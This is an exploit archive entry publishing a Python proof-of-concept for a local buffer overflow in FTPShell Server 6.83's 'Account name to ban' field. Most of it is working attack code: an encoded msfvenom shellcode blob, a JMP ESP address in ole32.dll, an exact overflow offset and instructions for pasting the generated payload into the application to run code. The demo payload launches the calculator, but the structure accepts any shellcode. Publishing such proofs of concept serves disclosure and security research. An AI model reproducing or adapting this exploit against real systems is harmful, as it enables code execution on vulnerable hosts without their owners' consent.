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FTPShell Server 6.83 Account Name To Ban Local Buffer Overflow

FTPShell Server 6.83 Account Name To Ban Local Buffer Overflow
Posted Apr 10, 2019
Authored by Dino Covotsos

FTPShell Server version 6.83 Account name to ban local buffer overflow exploit.

tags | exploit, overflow, local
MD5 | f72312aa5b4338768208026da2709235

FTPShell Server 6.83 Account Name To Ban Local Buffer Overflow

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#!/usr/bin/python
# Exploit Title: FTP Shell Server 6.83 'Account name to ban' Buffer Overflow
# Date: 09-04-2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.ftpshell.com/index.htm
# Version: 6.83
# Software Link : http://www.ftpshell.com/downloadserver.htm
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Tested on: Windows XP SP3 ENG x86
# CVE: TBC from Mitre
# Initial DOS discovery by: Victor Mondragón
# Created during 2019 intern training
# Greetz Amy, Delicia, Greg, Tonderai, Nzanoa & Telspace Systems Crew
# PoC:
# 1.) Generate ftpshell.txt, copy the contents to clipboard
# 2.) In the application, open 'Manage FTP Accounts' -> "Add Account Name"
# 3.) Paste the contents of ftpshell.txt in "Account name to ban"
# 4.) Click "OK" and calc pops
#JMP ESP - 0x775a693b : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)


#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x1a\x7d" -f c
shellcode = ("\xdd\xc7\xb8\xa0\x9e\x31\x11\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x31\x31\x42\x18\x03\x42\x18\x83\xc2\xa4\x7c\xc4\xed\x4c\x02"
"\x27\x0e\x8c\x63\xa1\xeb\xbd\xa3\xd5\x78\xed\x13\x9d\x2d\x01"
"\xdf\xf3\xc5\x92\xad\xdb\xea\x13\x1b\x3a\xc4\xa4\x30\x7e\x47"
"\x26\x4b\x53\xa7\x17\x84\xa6\xa6\x50\xf9\x4b\xfa\x09\x75\xf9"
"\xeb\x3e\xc3\xc2\x80\x0c\xc5\x42\x74\xc4\xe4\x63\x2b\x5f\xbf"
"\xa3\xcd\x8c\xcb\xed\xd5\xd1\xf6\xa4\x6e\x21\x8c\x36\xa7\x78"
"\x6d\x94\x86\xb5\x9c\xe4\xcf\x71\x7f\x93\x39\x82\x02\xa4\xfd"
"\xf9\xd8\x21\xe6\x59\xaa\x92\xc2\x58\x7f\x44\x80\x56\x34\x02"
"\xce\x7a\xcb\xc7\x64\x86\x40\xe6\xaa\x0f\x12\xcd\x6e\x54\xc0"
"\x6c\x36\x30\xa7\x91\x28\x9b\x18\x34\x22\x31\x4c\x45\x69\x5f"
"\x93\xdb\x17\x2d\x93\xe3\x17\x01\xfc\xd2\x9c\xce\x7b\xeb\x76"
"\xab\x74\xa1\xdb\x9d\x1c\x6c\x8e\x9c\x40\x8f\x64\xe2\x7c\x0c"
"\x8d\x9a\x7a\x0c\xe4\x9f\xc7\x8a\x14\xed\x58\x7f\x1b\x42\x58"
"\xaa\x78\x05\xca\x36\x51\xa0\x6a\xdc\xad")

buffer = "A" * 416 + "\x3b\x69\x5a\x77" + "\x90" * 20 + shellcode + "C" * 80

payload = buffer
try:
f=open("ftpshell.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

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